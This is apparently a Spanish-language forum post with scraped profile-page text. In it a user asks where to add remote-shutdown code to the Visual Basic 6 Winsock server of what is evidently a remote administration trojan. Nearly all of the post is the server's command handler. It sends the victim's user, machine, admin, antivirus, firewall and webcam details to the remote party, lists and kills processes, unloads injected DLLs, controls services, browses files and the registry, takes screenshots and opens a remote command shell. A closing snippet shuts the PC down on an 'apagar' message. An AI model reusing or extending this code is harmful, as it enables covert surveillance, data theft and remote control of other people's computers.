ya intente y no hubo caso osea no se donde poner el codigo para apagar la pc en el dataarrival del server y el nombre es wskServer no Winsock1
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúPrivate Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim sData As String
Dim sHead As String
Dim iFData As Integer
Dim iRData As Integer
Dim sMParam() As String
Dim sDParam() As String
DoEvents
wskServer.GetData sData
Debug.Print sData
sHead = Left(sData, 10)
sData = Right$(sData, Len(sData) - 10)
sMParam = Split(sData, sDetailSplit)
Select Case sHead
Case "[GETSINFO]"
wskServer.SendData "[SETSINFO]" & _
"Syntax" & sDetailSplit & _
Environ("username") & " @ " & Environ("computername") & sDetailSplit & _
IsNTAdmin(0&, 0&) & sDetailSplit & _
Environ("os") & sDetailSplit & _
GetCPUSpeedMHz & sDetailSplit & _
MemoryAvailable & sDetailSplit & _
GetCountryCode & sDetailSplit & _
".9"
Case "[GETDINFO]"
wskServer.SendData "[SETDINFO]" & _
Environ("username") & sDetailSplit & _
Environ("computername") & sDetailSplit & _
Environ("os") & sDetailSplit & _
CountryTag & sDetailSplit & _
Split(GetFWAV, "|")(1) & sDetailSplit & _
Split(GetFWAV, "|")(0) & sDetailSplit & _
App.Path & sDetailSplit & _
Environ("systemdrive") & sDetailSplit & _
Environ("systemroot") & "\" & sDetailSplit & _
GetProcessor & sDetailSplit & _
GetCPUModel & sDetailSplit & _
Split(MemoryAvailable, "|")(0) & sDetailSplit & _
Split(MemoryAvailable, "|")(1) & sDetailSplit & _
GetCamDrvs & sDetailSplit & _
Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
Case "[GETPRCLT]"
wskServer.SendData "[SETPRCLT]" & GetProcesses
Case "[GETPRGLT]"
wskServer.SendData "[SETPRGLT]" & GetInstalledApps
Case "[GETSRVLT]"
wskServer.SendData "[SETSRVLT]" & EnumerateServices
Case "[GETMODLT]"
wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
Case "[GETWNDLT]"
lstWindows = ""
Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
wskServer.SendData "[SETWNDLT]" & lstWindows
Case "[GETPRCKL]"
wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
Case "[GETMODKL]"
wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
Case "[GETPRCPR]"
wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETSRVST]"
wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
'Case "[GETSRVSU]"
' wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETWNDOP]"
Select Case sMParam(0)
Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
End Select
wskServer.SendData "[SETWNDOP]" & sMParam(0)
Case "[GETFILES]"
sData = EnumFiles(sMParam(0))
If Len(sData) > 3072 Then
sFData = sData
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sData
End If
Case "[GETFILER]"
If Len(sFData) > 3072 Then
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
Sleep 100
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sFData
End If
Case "[GETREGES]"
sData = EnumKeysValues(sMParam(0), sMParam(1))
If Len(sData) > 3072 Then
sRData = sData
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sData
End If
Case "[GETREGER]"
If Len(sRData) > 3072 Then
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
Sleep 100
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sRData
End If
Case "[GETSCRST]"
sData = GetScreenshot(-1, picScreenShot)
MsgBox Len(sData)
iSData = 0
If Len(sData) > 3072 Then
sSData = sData
wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETSCRSR]"
If Len(sSData) > 3072 Then
iSData = iSData + 1
wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
MsgBox iSData
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETDRIVE]"
wskServer.SendData "[SETDRIVE]" & EnumDrives
Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
Case "[GETCOMND]"
Select Case sMParam(0)
Case 0
KillByPID DOS_PID
wskServer.SendData "[SETCOMND]" & 0
Case 1
ExecuteCommand Environ("comspec")
wskServer.SendData "[SETCOMND]" & 1
Case 2
WriteData sMParam(1)
End Select
End Select
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub
Private Sub Command2_Click()
Winsock1.SendData "apagar"
End Sub